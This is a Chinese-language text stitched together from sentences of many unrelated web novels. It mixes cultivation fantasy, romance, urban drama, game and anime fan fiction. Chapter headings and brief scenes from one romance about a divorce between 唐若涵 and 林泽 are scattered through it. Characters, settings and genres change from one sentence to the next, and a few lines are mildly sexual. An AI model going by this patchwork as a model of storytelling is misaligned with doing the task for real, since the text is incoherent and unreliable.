“孩子,对不起,我对不起你。”寇乐儿依然哭泣,这么多年了,终于可以看到她的孩子了,这样的盼望,太久太久。 “管他们怎么想,只要我们黑暗之国的子民拥有幸福,别人的痛苦与我们又有什么关系呢?”黑暗之王阴险地抿嘴一笑,略带嘲讽地说。 “哈哈,你不会是忘了你的姓吧。你的眼里还有没有尊卑之分。”上官绝爱松开了她的脸,重新的回到了他的座位上。 “不是吧,如果我们只有夫妻之名的话,那他算什么?”他的手指向了寇乐儿那突起的腹部。有一种特别的感觉在内心升起,这也许就是人们所说的亲情吧。 “对了,这倭国使节什么来头,怎么你和萧禹对这事如此重视?”裴矩问道。 然而,平静终归未能长久。突然,大殿之外一声神兽嘶鸣,戛然而止,只见一名深受重伤身形,好似自虚无中凭空出现在这头神兽身上,然后直奔大殿,众神王与诸神见此情此景,心中不由一沉,暗道一声不好。 猜评团众人站起身跟随着节奏摇摆,而不少观众,也同样站起了身,跟着节奏嘶吼。 张乐同南宫银两人已经自觉的走进了练习室,抬头对视时,两人相视一笑。 “我发什么话了,你别想歪了噢,我什么也没说?”她故意瞪了他一眼,脸色绯红地说道。 后经他的历代传人增补改进,又具有迷人、困人,甚至让人可望而不及的神效。 知道时间紧迫,甄殷鉴就带着橘猫串串出宗了。这一次他们想要找寻提升实力的新契机。毕竟待在宗门中也已经有数年之久,继续闭关苦修对于实力的提升效果也不大。 可是当解说员说出林霄的身份来历的时候,还是让不少北美的观众有些惊讶,因为,他们完全想不出来,为什么一个歌星会突然跑来打拳击比赛,那完全是两个不同的行业好吗? 随着蒙面歌王一晚上的热度发酵,逐渐开始出现一些黑粉的声音。不管是千度,还是微博,从苏越出道至今的各种新闻劝都被扒了出来。 第一卷 第90章 唐家要唱哪一出? “南小姐,这就是你要带我看的宝贝?” 唐若涵首先开口打破寂静。 同时,也问出心中疑惑。 刚才出门的时候,沈平韵声称要南希带她看宝贝。 南希也热情地邀请她去参观房间。 你替我做事,所以你是不可能成为哪一边的人的,若是像你哥哥一样服务陈朝阳,我也不找你了! 北冥烨势力只手遮天,撒下天罗地网要把她抓回去,满世界都能碰到要捉她回去的人。 黑色轿车缓慢驶出市区,如同一只深海游鱼,悄无声息的停靠在郁郁长青的墓林。 “染画。答应我。要好好的活着。”西门昊抚摸着苏染画的秀发。柔柔滑滑的。触手可及。他不希望这一切成为过眼云烟。只剩下一份回忆。 西门哲怔怔的看着那些围攻自己的人,虽然不情愿,但也有了不好的想法。 灼热的酒精浓度好像尖刀子似的烧灼着她的喉头,呛得她不停咳嗽,眼泪都呛出來了。 瞬间!聚集好的火系的禁咒:末日的审判和万年树妖宽达五米的树根相遇了。 明明下午回来的时候,就想说干脆当做什么都没发生过,既然说了要信他那就信到底。 唯有手,依旧不停地在琴弦上流动着,琴声时而悠扬,时而婉转。 再反观她自己,明明是赢家,为什么连一点胜利的喜悦都沒有,显得更像是输家呢? 慕容西阳那样的性格,这次有这么好的机会既可以教训晚晚又可以展示自己的实力,一举两得的机会怎么可能会放过? 万青回头一看,就看见依旧被倒吊在古树之上的天火圣者,嘴角勾起一抹弧度,显得有些幸灾乐祸。 那边的血尸在走进石厅后,满是血污的脸朝向我,一双黝黑至极,没有一点眼白的眼睛更是死死的盯着我。 出来医院后,安沐宸怕陆菲菲再次发烧,把自己的外套给陆菲菲披上。 李大壮大惊失色,拳头用力地向前冲,纹丝不动,拳头用力的往后拉,还是纹丝不动。 上个山,只是自己怕冷而已,还真当珠穆拉玛峰多难,兑换几十张卡片,在上面吃个火锅咋了,老子想盖个别墅都不是个事。 她突然蹲下来,心里感觉好委屈,莫名的想哭,连她自己也不知道为什么。或许是因为这几天的委曲求全吧,还有他的霸道,她陆菲菲是个有血有肉的人,凭什么要让他牵着鼻子走呢? “宗主你就别捧杀我了,莫师姐可是为了保护我,才落到如斯危险的境地,我必须将她那份责任所承担,全力保全剑龙会,直至她醒来,到那时,再将剑龙会完好无损地交还到她手中。”凌少天认真道。 “没眼色的家伙!”边令诚责骂一声,自己拿起墨锭,一边研墨,一边构思着李无解的罪状。 石门的颜色与周围石壁的颜色相同,都是青色的,石门上雕刻着一只张牙舞爪的凶兽,凶兽的嘴巴处有着一个铜质的拉环。 孔慕蕾的脸皮并不薄,开开玩笑她不介意,但是总这样被无休止的叫下去,她也不厌其烦。几次三番的和同学翻脸,甚至还找老师告状哭过鼻子。不过她没能因此逃脱“韭菜花”的雅号,一直到毕业也没摘掉。 第一卷 第91章 你要跟我抢男人? 三年前,唐英豪当面骂他地痞浑蛋。 没想到三年后,他事业有成,风光归来,在唐家人的眼里,他依旧什么也不是! 林泽反倒被他们当成宝贝! 入得了唐英豪夫妇的眼不说,还被唐家老爷子捧在手心里头。 “林泽,你可真是好样的!” 吴庸咬牙切齿,从喉咙里挤出一句。 “老板,那接下来的计划……” “呵呵,几位随我来吧,等一下你们就知道是怎么一回事了。”雷晶笑着对三人道,而后便是头前带路,三人无奈的摇了摇头,也是跟随着雷晶向不远处的高山走去。 反而是这个不到五十岁的中年大叔,却老是唉声叹气的,除非是经历了无法磨灭的痛苦。 还未走出大裕境内,苏世贤已然有些归心似箭,他急着想回到长公主府中,寻访当年的旧人,探一探苏梓琴出生前后的事情。 眼前的景色慢慢的模糊,而视线再度清晰之时,眼前的景色已是骤然发生了改变。 上官飞燕看到魏生身上的反应之后,也对自己有那莫大的魅力而感到开心,自动的把自己的香唇闭着眼睛,送到了魏生的唇边,让他xi允自己的香精,fu慰自己的柔舌。 独眼魔王发现有什么东西竟在自己的脊背上,发现是林炎,不由大怒,紧急的一个侧身,想将林炎甩下去,林炎却是不着急发动攻击,这个时候若是被甩下去,估计就要被它一柱子轰中。 等里面答应了,苏奴就和泰格一起来到了旅馆一楼的饭厅,晚上吃饭的时间段比较长,所以饭厅里的人远远没有中午的人多,苏奴和泰格还是坐在了旅店店主给他们专门安排的座位上。 “叶天麟,你这就是神境的威力。”西门亲看着叶天麟,眼中满是苦涩,叶天麟在半年前进入了神境,他一直不太相信,可是此时他信了,只是这平常的一道光芒,自己都抵挡不住,除了他进入神境之外还有什么理由。 “确实……”泰格眉头也皱了起来,思索了好一会儿也没有结果。 水涨船高,安庆侯府的身价蹭蹭的涨,接连受挫的四房自然也跟着沾了光,大堂兄励行与大理寺卿傅家结了亲,定下了傅家四姑娘,婚期定在四月里。 有巽风鼎的风在,徐达明显的在速度上强过自己,就算自己拼命攻击也未必能够奏效,自己虽然能够使出这种十分耗费真气的法子来护住自己,可也只是暂时的,时间一长未必能坚持下去。 然后从其中去掉缺点,吸取优点,然后创造适合赛亚人分身所具备的招式。 项来眼中泛着光芒,冲到王妃的面前推开她,伸手按在被王妃挡在身后的灯架上一扭。 轩辕江有上品灵器,血族的身体强度根本在他的眼里不是问题,靠着上品灵器的锋利,轻易的就能够划破血族的身体,斩断生机。 就见她忍着身体的痛,一把推开了宣海的剑,向狄贝贝那方走了一步,然后伸出了两只手,左手拉住了狄贝贝,右手拉住了宣海,低吼了一声:“走!我们走!”再拉着两人往后退了一步。 以往空气中那股来自丧尸的腥臭味道也没了半点踪迹,努力一嗅,鼻子里充斥地是泥土的芳香以及来自植物的勃勃生机。 没有人求过牧牧去牺牲,当然也没有人会感谢他这种牺牲,就算牧牧做的再好也是陪衬,心机,上不了台面的。而白狼一类再明目张胆的恶心也与高贵脱不了关系。 第一卷 第92章 我要嫁的男人,就是他这样的! 抬头望去,这是一座很特殊的别墅,因为一路上我观察现代的别墅,大多数都是特殊的泥土材料制成,可这里竟然是檀木为主,红枫围墙,画栋雕梁,飞檐上挂着铃铛,风吹来,铃铛清脆的声音不断的响了起来。 林轩不知道此去天山派到底有多远,但他对自己实力有信心,就算古武界没有飞机,他想在半个月之内赶到天山派还是比较容易的。 我转身打开衣橱,惊呆了,里面是满满一柜子的衣服,大多是夜空兰。 而且无语的是,秦浩楠没在家,他昨天就去了京城,要一周回来,我简直欲哭无泪。 “那个方衍,是不是你的祖先呀?”魏窈窕有些好奇,她第一次听到方衍这个名字。 王二柱走后,李壮脸上的神情忽然变地凝重起来。他总觉得王二柱家的祖坟没那么简单,他总觉得隐隐之间好像有什么东西在等着自己,好像有未知的秘密在召唤着自己。 “我靠,山魈!”方雪恨大吃一惊,这只山魈明显已经具备灵智,与灵兽无异。原来就是这个家伙操纵了骷髅,怪不得会一直咬着他不放。 总而言之,各种事情非常多。只是让杜幽没想到的是,外界到底谁最有嫌疑,杜幽一直没有发现。因为跳的最厉害的,都是没有能力做这种事情的。 区区一个领地不算什么,但一个至少六阶,而且没有其他人进入过的领地,那就完全不同了。雅兰大陆那个世界,可是远比巨人世界要大的多。 可是,西门庆却挑了挑眉头,嘴角带出了一抹冷笑,慢慢悠悠的来到了林家从的面前。 自己的本事纳兰夜又不是不知道,看来他是诚心要送两个忠心耿耿的手下给她。 到了深夜,镇上非常安静,几乎家家都已经关灯睡觉。我买了一辆自信车,疯狂向那个村庄骑去。毕竟上山必须经过刚来的村庄,然后偷偷到山头找墓。 其他的人还没什么反应找到什么了,温楚轩就一下来到这个喊叫的人面前:“是人找到了?”眼里满满的希冀。 有些无奈的叹息了一口气,裴华墨再次回到了言溪末的房间里,看着一脸恬静的言溪末,忍不住伸出手摸了摸她的脸蛋,眼神里面写满了疼惜的味道。 冷辛看着舒颜不在,还以为他走了。直接开门进了秋凝的房间,看到面前的一幕觉得有点尴尬,舒颜在那里安稳的睡在,秋凝趴在他的怀里,不过无奈的叹口气,她看到了秋凝的手势,还有笑意。悄悄的退了出去。 “可是刚刚你还给了那些村民钱弥补他们的损失,你真是菩萨心肠,竟帮助差点害了夏洁、打伤你们的人。 只见一高瘦男子,身后还跟着两个手下,手里都捧着东西,奋力的挤了进来。 麒麟这时候倒是没有动作,静静的看着忘忧,红色似透着火光的眼眸,眸中的光微微颤动一丝。 眼睛睁得大大的十分,不甘心的瞪着裴华墨,好像下一秒就会把他给吃掉一样。 随着一本薄薄的册子发下来阎云就失去了听的意向,上面写的比那人讲的要详细多了。 从老者的话语和表现,不难看出,甄寻的家族和超然宗门无痕宗有着某些关系,想来,甄寻的家族在这泰阳城内应该是颇有地位与声望的。 膀,而看到了这一对的翅膀,药老还有风尊者甚至以及萧炎都是有着一抹凝重的神色。 “你们先在这等着,我到船头那边看看,七杀,给欧阳绝发个信息,让他马上赶过来。”这邪恶鱼人族,整的还挺仗义的呢,原本以为那个拉斯是他们的老大呢,没想到真正的老大现在才来。 其他人看到沐毅已经神念进入了测试碑之中,一个个都是争先恐后的进入了测试碑之中,生怕先被沐毅得到什么。 不过她仍然爱喝勾葵。勾葵虽然较为苦涩,却在提神、利气、中补上更胜一筹,华月闲着的时候,喜欢采些芽尖上的雨雪之水,存起来煮茶喝。这无根之水煮出三遍的茶,茶汤更为清纯敛香,是母亲生前最爱的喝法。 周围的人自然少不了嘲讽,但周炎并未理会,只是表情淡漠的离开了,周忻怡看后,也跟着周炎走了,倒是周雨娴狠狠的瞪了嘲讽之人一眼,那些人就乖乖的闭上了嘴。 周炎半年内从淬炼境三重到七重,人们多少还是能接受,毕竟他曾今就是这咸丰城内的第一天才,可周天呢?家族里的万年吊车尾,怎么可能比曾今的天才还要厉害? “哎,你别走,你还没有把那精神力的操控方法给我,我真的很需要那个。”金雅见到沐毅要离开,也顾不上害羞了,集忙拦在沐毅的身前,一脸认真的说道,她真的是很需要那个。 “一介散仙,也岂劳烦与朕,这三界之中,朕岂不是要忙死了。”昊天对左力神冷冷的说道。 方天画戟,也在这时候直接砍在了它的脑袋上,把它的脑袋都给劈出一道裂痕出来。 权夜看他这个样子,也不好意思去封明珠的房间,只是打了几次电话,发现没人接听,但电话能打通。 眼看他那只安禄山之抓就要抓上萧雅的胸口,这一刻季天眯起了眼睛,淡淡开口了。 这时候不顾自己身体上的鲜血,开始疯狂的持着黑棍冲过去,对着这刀角兽的脑袋攻击了过去。 毕竟洛尘知道,第四纪元无妖,就是因为战神给屠杀了个干干净净的。 她说完这句话之后,叶双双还没来得及开口,她自己又紧接着皱着眉头想了半天,随后抬起头有些无辜的看着叶双双。 “你在笑什么?你不信是吗?你等着,我现在就让他过来,让他亲自对你承认我的身份!”自乱阵脚,赵子媛疯了一样要证明自己的身份。 听到台下的议论,商行老板笑了,只见他令人给黄衣老叟搬了个椅子,让他坐下这才对台下众人说道。 第一卷 第93章 她,也有事情要谈? 等舞会结束后,克冬家的人并没有发现他仍逗留在宅子里没有离开。 总之,除夕之夜就这样慢慢流逝过去了,尽管千家万户都在围绕着一个主题,但形象各异的人生缩影仍然是存在的。 如今钟云的手下,除了五万名儿童,珍珠号的遇难者八千人外,还有原意跟随着他的六万名士兵,加起来差不多十二万人。 他们发觉居然每天店里都会来几位阔主儿。动辄就几千上万的买。 那是非同一般的行云流水,一招一招的施展出来,舒服到极点,自在之极。 这下子,梧桐身上光芒缭绕,各种光环在他身上形成了复杂的光谱,让他看上去仿佛天神下凡一般光芒四射。 “你前面是悬崖。我知道你有钱,但你不考虑一下酒庄上百名员工的生死?”肖恩-布鲁克语气没有一开始的慢条斯理,已经开始带有威胁的口吻。 只是,要如何开口才能弄到第三个门客的席位,古超陷入了沉思当中。 “耶死,果然可以!”看着被冻住的胸口,江洋不禁笑了起来,而江洋更加高兴的是,这个家伙脑袋上面冒出来的数字,33600,这正是江洋双倍霹雳寒冰的全部伤害。 得知李社长又拿出一种配方,价值更高,却没有特殊酒曲的保密性的时候,都顾不上埋怨李墨的冒失,不约而同地先让李墨保密。 理智盖过冲动,徐天浩才发现自己犯了一个好傻的错误,差点哭了。 “嘿嘿,你想的没错,不过对于这么大的星域空间来说,它们扩散的速度是相对比较缓慢的,你有没有想过,大部分的中子雷可能根本不会被触及而爆炸,我们把它们释放出去比较容易,大战之后,怎么回收? “嚓!把东西给我,不然老子让你出不洛阳城!”丁立怒不可遏的叫道,只是他和袁世凯一样,都心有顾忌,谁也没有说出‘传国玉玺’这四个字来。 “瞎说什么呢?”白素素的脸上出现了一丝红晕,这个夜妃太敢猜了,不过貌似他猜对了。 天龙大帝这时候并没有去管这对新人,也没有去看那些闹玩的人,而是静静的站在了天骄门的最高点。 林峰顺着刘超指的方向看去,不远处果然发现了许多水泡从地底冒出来,而且周围任何鱼类都没有,而且泉眼处还有两个鱼妖在把守,刘超走到泉眼附近,右手一挥,他面前的水就像是一道门一般打开了,林峰惊讶道。 不像是平时打比赛,哪怕是暂时的劣势,也会有队友的帮助,从而找回节奏。 中路的火男心中像是压上了一刻沉沉的时候,卡牌每次都是大招飞走,有时还会使用传送TP支援。 和王四爷的猜想一样,凌云终究不敌阮灵儿,渐渐败下阵来,反观阮灵儿,似乎没有多少消耗,凌云灰头土脸的走下台,抱怨道。 微之低下头,但是,但是,宗离明明已经答应他了的,说话不算数的是宗离。 “不行的话,我申请转院,转入到宁海市最好的医院。”温静可没有很好的耐心等着这些医生护士思考完毕再回答自己的话。 严厉警告了二人,听闻洪刚的警告,两人连连点头,而后直接便是选择了离开,只不过在离开的时候,两人同时冷冷的看了眼龙辰,眼中的杀意毫不掩饰,很明显,这店铺之内两人不敢动手,可是店铺外面呢? “岑京——”安修君混乱之中,似乎听到了岑京的叫声,疑惑地喊出声。 她本来在陪吴悦看剧,但突然间感觉心脏漏了一拍,仿佛隐隐有东西在呼唤她。 好吧,看来耐饥丸对于蔡复广来说,并没有那么重要。沈依依耸了耸肩,转身欲走。 四座擂台里,正在交战的八队,有人被外界的诡异景象所吸引,一时忘了比赛,痛失胜局。 虽然很是疲惫,慕夕泽斜靠在软榻上却睡不着,总有一种似乎有什么事要发生的预感。突然房门被人猛地推开,秦骁很粗鲁地冲进了慕夕泽的居室。 鲍帅眉头一皱,强悍的意志从大脑中探出了一角,顿时将那些探测的手段全部屏蔽,其中的一丝意志更是直接被他吸进了大脑,瞬间吞噬干净。 即便如此,这个阶段原本也至少需要个三五年,因为转变进化方向后,重塑的肉体会变得十分不稳定,而且可能留下诸多后遗症,要攻克这个难关需要时间和运气。 沉闷的肉体碰撞声响起,无名和琥严非常生猛的硬拼了一记,二人双目血红,刚一上来就和杀到了癫狂似的。 浑身上下光溜溜的,叶狸黛眉微蹙,长时间都是以本体在生活,叶狸都忘记了化成人形是需要穿衣服的。 可以说朱厚煌本身不知道,他给王阳明带来多大震撼。接下来发生的事情,却让朱厚煌非常之烦恼。 “你分明就是想要报信的。”丁凯说完了一巴掌打在了他的脸上,这人摔在地上,痛苦的哼了一声,直接失去了意识了。 万灵果树弥漫出来的香气更加浓郁了,光是闻着就让人们感到元神放松,精神空灵,甚至有一种悟道的冲动,而就连那透过树叶照射出来的光芒,落到人们的身上,也是让人们感觉到自己的肉体像是得到了洗礼似的。 吕怀生没见过林然,但是方中平是认识他的,就算是林然化成灰都认识。 霍晓琪惊恐地捂住嘴,被林毅晨如炮弹一般的速度惊呆了,如果说以前炮弹般的速度是夸张的形容,那么现在霍晓琪所看到地,则是远远比以前更加夸张的效果。 第一卷 第94章 连偷的机会都没有了。 “依照唐家在东海的地位,我们两个离婚的事情肯定瞒不了多久。” “可在离婚以前,我希望事情不要大肆宣扬。” “四大家族中,沈南两家联姻,他们之间的来往,必然要比唐家密切的多,即便你跟南希是同学,我也不希望此事成为人们茶余饭后的笑柄。” 刚在沙发上坐好,唐若涵便噼里啪啦的一顿输出。 她想清静清静,所以来到了秘密基地,那个左轮、老汤、大风都知道的秘密基地。 两人向店老板要了几瓶酒,又随便点了几个菜。就这样边吃边喝,聊了起来。 “考验者迪恩,考验成功。”迪恩走出精灵审训室之后,战斯拉末的声音在迪恩的耳边响起。 林峰听庄坚的解释,也是有些无奈,奈何境界已成,后悔也晚了。 “哪有你做的这么明显的!……刚刚的教训算是白吃了。”乾老也是无语。 随后他运起气劲,想努力把分散出来的力量最大限度地汇聚在一起,然而令他失望的是,明明感觉倒是很简单的事,却怎么也做不到,气劲聚拢又散,散了又聚,最多就是卡在七成之上无法再多凝聚一丝。 “喂喂,你们说什么呢?我们战神联盟可不是你们,才不会用下三滥的手段,而且,对付你们还用的着用阴谋吗?几拳就把你们打趴下了好吧?”盖亚挥了下拳头,不满地嚷嚷道。 随着李父和二叔的指责,旁边,其他的亲戚也都纷纷说了起来。这些都是李父的叔伯兄弟。到现在,已经隔了一层了。尽管,他们也看不惯李志勇的所作所为,可是,看在李父和二叔的面子,也不好说什么。 我抬头,只看到了黑色的帷帽,嘴上的术法突然解除,我不住地咳嗽起来。 见状,坐在青横身旁的白起分别向青横与青跃一拱手,招呼着白珊向场外走去,来到一片安静的所在。 “是的,对你我也是第一眼的感觉,不知道为什么觉得咱们前世就是好姐妹似的。像对慕离的爱情一样奇妙,只是一眼,就能发生了化学反应。”玛莎脸上也带着不可思议。 不过他们也都了解折木的性格,也就没有勉强他。反正说起来马上就到午饭时间了,现在也有些自由活动的时间的味道。 我知道你肯定是担心钱不够用,没有存款。不用担心,明年很多企业都会在史丹顿建厂,到时候你完全可以找一份工资待遇比较好的工厂,他们提供的薪水待遇肯定比我们好。 司机见她手忙脚乱一通,也拿不出多少钱,一个劲的吐槽,安素就一个劲地低头道歉,把手里那把零钱全塞进司机手里。 南荒王抢这枚天道之魂,不为别的,只为了不让余生有三枚天道之魂在手。 如果只是研究人体,这种事三代当然不会说什么,各个忍村都在这么干。 随后张云长和海关的官员们就带着维娜参观了宇宙港口中已经建设好的这一部分,这个宇宙港口非常的大,直径都超过了一万公里,整个看上去如一片漂浮在宇宙中的大陆,远远看去非常的壮观。 在他怀里还抱着一东西,黑黑的,大堂有些暗,余生一时不能确认,暂且把它当成狗吧。 “我知道,要是你敢怪我的话就算你现在生病了,我也是会揍你一顿的。”千反田挥了挥拳头“恶狠狠”地说道。 第一卷 第95章 你大姨妈来了没走吗? “如果只是为了吃饭,你就别来……” 唐若涵话只说到一半,突然愣住。 视频挂了。 “苏晴,你就是为了吃的!” 唐若涵伸手重重砸在床上,随后,又将手机扔到一旁。 离婚,必须离婚! 最近倒霉的事情这么多,她再也不要被负面情绪包裹了! 凌晨一点。 林泽刚要入睡,突然,手机提示音传来。 黑暗中。 像走马灯一样,那些明里暗里的片段都在陈锐眼前浮现,他知晓了弑剑门的惨状,知道了天柱峰上的血与怒,也知道了李一阳仗剑斩敌的风采。 原本不过是间或有些白发的脑袋上,如今尽数花白,难见一根黑丝。 “那徐师兄,你为何将此事告知我们呢,你不是说修真人士,不会和凡人往来的吗?”黄陌双开口问道。 正在几人都打开不能飞升的愁绪时,突然花枝脚下一空,旁边的项北和江紫下意识伸手去拉她,然而他们也是同时脚下踩空自由下降。 接下来两人继续交谈起来,因为两人都是十一次元的高手,交谈起来倒是没有什么障碍,盘古的实力要比牧阳深厚很多,头一次与这样的大神交流,牧阳由衷地感觉到受益匪浅。 更何况每一个隐藏任务都有极大的几率能获得额外奖励,那才是更加让人心动的。 目前为止,牧阳和梅希亚修炼的都还是很基础的东西,按照艾萨弗的说法,“天心流”的前期修炼都是在打基础,肉体磨练好了,到后面才能够接触到更加高深的内容,总之是一个先难后易的法门。 陈歌看了他一眼,对于这个时刻护在张盈身旁的男子,他已对其下了死刑,自然也没有和其废话的道理。 玛琳今年差不多四十岁了,不过由于保养得好,加之原本就还算比较漂亮的缘故,岁月在她的脸上没有留下多少痕迹,反倒随着越发成熟,身上有股别样的气质。 地上虽然清扫过,但踩着还是感觉油腻腻的。借着窗子传来的微光,眼睛适应了黑暗之后也差不多可以看清楚里面的桌椅了。 因为今天是周日,高速公路上出城的人多,进城的人少,加上郭志男开车技术了得,见缝插针,不多时就已经是来到了动物园。 对地球联邦来说,这些高级工程师的加入无疑是幸运的,江夏极大提高地球联邦在整个银河系机械工艺领域的竞争力。 几十个铜币,看似很少,但对于贫民窟里面的这些人来说,已经不错。 郑昱接到手中看了几眼,心中微微一动,也没说什么,将上边写的东西记清楚后,才继续朝朝里走。 “野人,反正闲着也是闲着,不如让咱们的学生比一比,看谁杀的晶兽更多。”一位名叫吴如海的教官对刘浩龙提议道。 汽车停在郊区一栋独立的别墅前,司机下车之后还恭恭敬敬地给郝仁开车门。这种待遇郝仁还真没怎么体验过,反而更加紧张。 贫在闹市无人问,富居深山有远亲,今年过年李爸李妈按农村的习惯在枚阳儿子的新房中过年,一个在枚阳工作多年从来没有与李家通过往来的八杆子都打不着边的老表的老表过来串门来了。 江夏摸了摸下巴,觉得佐拉这话也再理,他自己就曾经使用大型电磁炸弹,摧毁过敌人的舰队,而电磁炸点这种东西对虎牙级,恐怕一点效果都不会用有。 第一卷 第96章 你俩好到哪一步了? 不仅没能够回来,而且还因为这件事,遭受了天谴惩罚,每一世都无法活过十四岁。 而且,他显露出来的手,依旧克制着唐新,以至于第四轮游戏,还是被他给轻易取胜。 由于大多哥布林对数字的敏感性极低,不会进行加减乘除的计算,更无法识别出数字的含义,白狼只能按照颜色来区分信息。 “砰砰!”最先抢出的两名内卫,一个胸裂,一个肋下被剖开,倒在自己的血泊中。 冉飞几人一路往西面逃走,走到地二天清晨,露珠滴在了冉飞的额头上,五人看到了一个镇子,最少也有四五百户人家。 同时,他接过张坤手中的黑色令牌,然后身影飞向刘神的证道之地看了一眼,最后一瞬即逝。 那黑影猝不及防,手中漆黑的匕首向上刺去,他的头上也随之浮现出一柄漆黑的匕首化形。 “他收弟子,你谢我作甚!”薛承依俏脸微红,但却语气微冷的说道。 宇流明一边肆意感受着宁霜影的口舌香津,一边用双手不停的在对方的娇躯上来回的游走,充分的领略着对方身体曲线的无尽美感。 “对那些不知道感恩的人,我们是不是要惩罚一下?这些家伙连是谁为他们提供的食物都搞不清楚,就没必要吃饭了。”领队连忙询问白狼。 “沙赞前辈!”杰诺斯眼睛一亮,但下一刻直接被深海王撕碎了另外一只手,一脚被踢飞了出去。 毕竟第一季结尾,男主和冬马和纱分手炮后两人就分开了,而雪菜和男主很明显没可能继续交往下去,水心老师还能如何安排他们的剧情呢? 回到地球,看到“自己”被养父母发现、收养,克拉克没再说什么。他的身体也已经恢复了,跟范莽飞向了来时的地方。 “你这只该死的臭虫……”面前的狂猎战士被如此的忽视,顿时大怒。但是手中的战锤还没来得及挥动。一道寒光从侧面斩来。 “里面到底发生了什么?”草莓怪人惊疑不定的看着游戏厅紧闭的大门。 “发生什么事情了?两位有话好好,这么多孩子都在呢!”老师注意到这边的动静,慌忙从前边走过来劝道。 荀天发觉到狂暴能量入体可以被蝉树转化为更多的纯正天地能量之后,拼命使用星体引力技能纳狂暴能量入体。 半步瓦史托德,生前是什么人不知道,但成为虚之后绝对是“虚中豪杰”,几百万中才会有这么一个脱颖而出。 听到娜美不断碎碎念,其中还间杂着大量的抱怨,薇薇不由露出一个会心的微笑。 他还记得自己脑海里和梦中见到的那个身影,让他干掉绿灯侠,甚至毁灭地球,造成更多的恐惧,就能让那位的力量变得更强,自己也能变得更强。 不过比赛开始后,并没有想象中那么轻松,德比的激烈程度每每让瓦尔迪有些烦躁。 而且那个年代的人集体荣誉感是相当强大的,所谓的主人翁精神,不过是每个那个时代的工人的标准写照而已。 他不在这里修炼了,也不想被秦烽一个低于自己的存在威胁,他这样的黑暗联盟的人,自由自在惯了,更是不受拘束,任意妄为。 “哼!”留姬给了冯雪一个算你识相的眼神,坐在地上等待坑里的众人醒来。 段功踌躇满志地看着他的决胜大杀器们缓缓向前,不断拉近着同宋军防线间的距离。 杜雪的出现,让他感觉到危机,易天的出现,更让他感觉到一种危机。 发现这些妖怪重生后除了变成人类之外并没有什么不同后,其它妖怪也开始渐渐心动起来,要知道,人类可不止智力比妖族高,除去少数洪荒异种之外,大部分妖怪的天赋甚至比不上最差的普通人。 “来,喝点水吧!”沈一宾将晾好的水递了过去,仓鼠也不能喝冷水,所以一般情况下最好给它们喂凉开水,没有的话矿泉水也勉强凑合,要不然可能会导致它们生病。 至于收购的具体事宜,就交由投资团队去谈好了,反正格雷泽家族现在麻烦不断,总会有松口的时候。 两人相视笑着,那一刻,又岂止是林晓沫安慰了莫诗诗,唯有气场相近,才能彼此吸引成为最好的朋友。 没想到经年之后,她还是那个她,只不过,让她执着跟随的那个男人已然是他赵北铭了。 阿呆却毫不示弱,无畏的迎上去,轰的一声,两人分开,可茶几竟然裂开了,上面的东西滚落一地,一室狼狈。 徐冰不喜与人亲近,她同样不喜。所以,没有碰上,她说了一句谢谢。 而且她一会儿大燕帝,一会儿叽里呱啦说一串外语,看起来真不是大顺人。 就像是偷偷窥见了什么羞耻的秘密,却不能宣诸与口,只能独自细细品尝。 夜幕降临,慕轻歌与司陌走出玉梨树林,来到一片青草依依之地。 林晓沫觉得那张只属于她和莫以天的大床上,戴莉正被莫以天压在身下,他的头就那样垂首在戴莉白嫩剔透的脖颈旁,在林晓沫看来是那样无所顾忌的亲昵。 第一卷 第97章 女人?你成年了吗? 林泽眉头微皱。 “苏晴,这些话,你听谁说的?” “啊?”苏晴的心瞬间揪成一团,嘴巴张了半天,这才心虚道:“我想的呀,猜也猜得出来!” 为了不让林泽多想,苏晴甩出之前林泽说的那句。 “你不是说要找南希商量离婚的事吗?你跟我表姐离婚,你找别的女人商量什么?” 感觉说得有些道理,苏晴当场还翻了个白眼。 因为钱豹那边,“叮!”的一声,在一颗高耸的树木上,第一个摄像头安置好了,还挥了挥手,笑了笑,继续跑向了其他方向。 近处的楚离虹明白不过萧宁素这是气机透支过度,内火反噬攻心了,若没有宗师度入纯净真气给她疏理心脉灭火清障,萧宁素纵然有一丝机会痛苦无比地等待内火熄灭,醒来后绝对是心脉烧毁的废人一个,提剑都是绝大难题。 我们就都明白了,其他几家都走了,最后是方家的后人守护这里,肯定是那时方家的后人被人追杀,只能在这里聊此残生吧。 周浩这才豁然清醒,抬头看了看脸上有着一丝疲惫的伙计,再看窗外,天色居然已经昏暗下来,街上星星点点的灯笼皆已点亮,原来已经到了夜间,心中哑然,看来这修为被封,自己居然有些迟钝了。 锋利的刀锋瞬间划破空气,秦歌瞬间就感知到了毒蛇的动作,嘴角露出一抹冷笑,当即就是挥动右手中的长刀,斩出了炽盛斩击波。 几年之后,她真的能够斗得过刘子业这个彻头彻尾的疯子,扶幼子上位吗? 看到方唐深邃的双眼偷溜出些仇恨之意,我明显意识到我就是这个凡夫,在这方面,我也不得不承认是个门外汉,只得苦笑着尴尬。 狼狈的落在地上,麦尔斯还没有站起便是张口喷出了鲜血,脸色煞白,他的肋骨已经尽数断裂,而且内脏更是被穿透而去的寒气给严重冻伤。 晶莹的白芒接触身体下迅速融入了秦歌体内,也是让得秦歌犹如本能般迅速掌握了白芒中蕴含的能力。 无论是焦黑的鳞甲,还是被撕裂的膜翼,都在这份粘稠液体的浸润之下,以肉眼可见的程度再度新生和还原着。 “如果觉得累,我就先送你回房间休息会儿”贺哲走近她,看到她瞬间绯红的脸庞,此时更是迷人不禁地让他的心扑通扑通狂跳 ,仿佛被电撞到了一般。 没有实体作为展示,凌宙天从破解之路,只能转移到研究的过程之中。 而这二十多天来,靳老道和他师兄,也没闲着,已经顺利找到了地图上标示的那处所在。 “他的两个儿子对欧蓝恨之如骨,恨不得杀了她。而东方巍,应该也是想要欧蓝死的。不可能会放虎归山,给他们再添麻烦。”冷傲天分析道。 寂静的氛围悄然蔓延,在岩本天尊敬带着询问意味的目光的烘烤中,唐泽感觉身心被放在油锅上煎熬。 一想到这里,云逸没有迟疑,即刻也跟在了叶丰和靳老道的身后,向出口走去。 现在乔铭赫又授意莫凡去搞破坏,东方凛想要救出东方巍,是难加难。 韦墨自己有钱,曾经韦父还在时,替他开了一个海外帐户,把集团留给了韦腾,把所有的资金却留给了韦墨。 爬上陆地,凌宙天仍然可以感受到一阵阵不适感,还有那空气之中的干燥以及强烈的闷热。 第一卷 第98章 搞偷袭,我砸死你! 触目惊心的一幕,在这里展露而开,让的那魔霸天,也是倒退了数十步,而净土神帝,则是倒退了两三步。 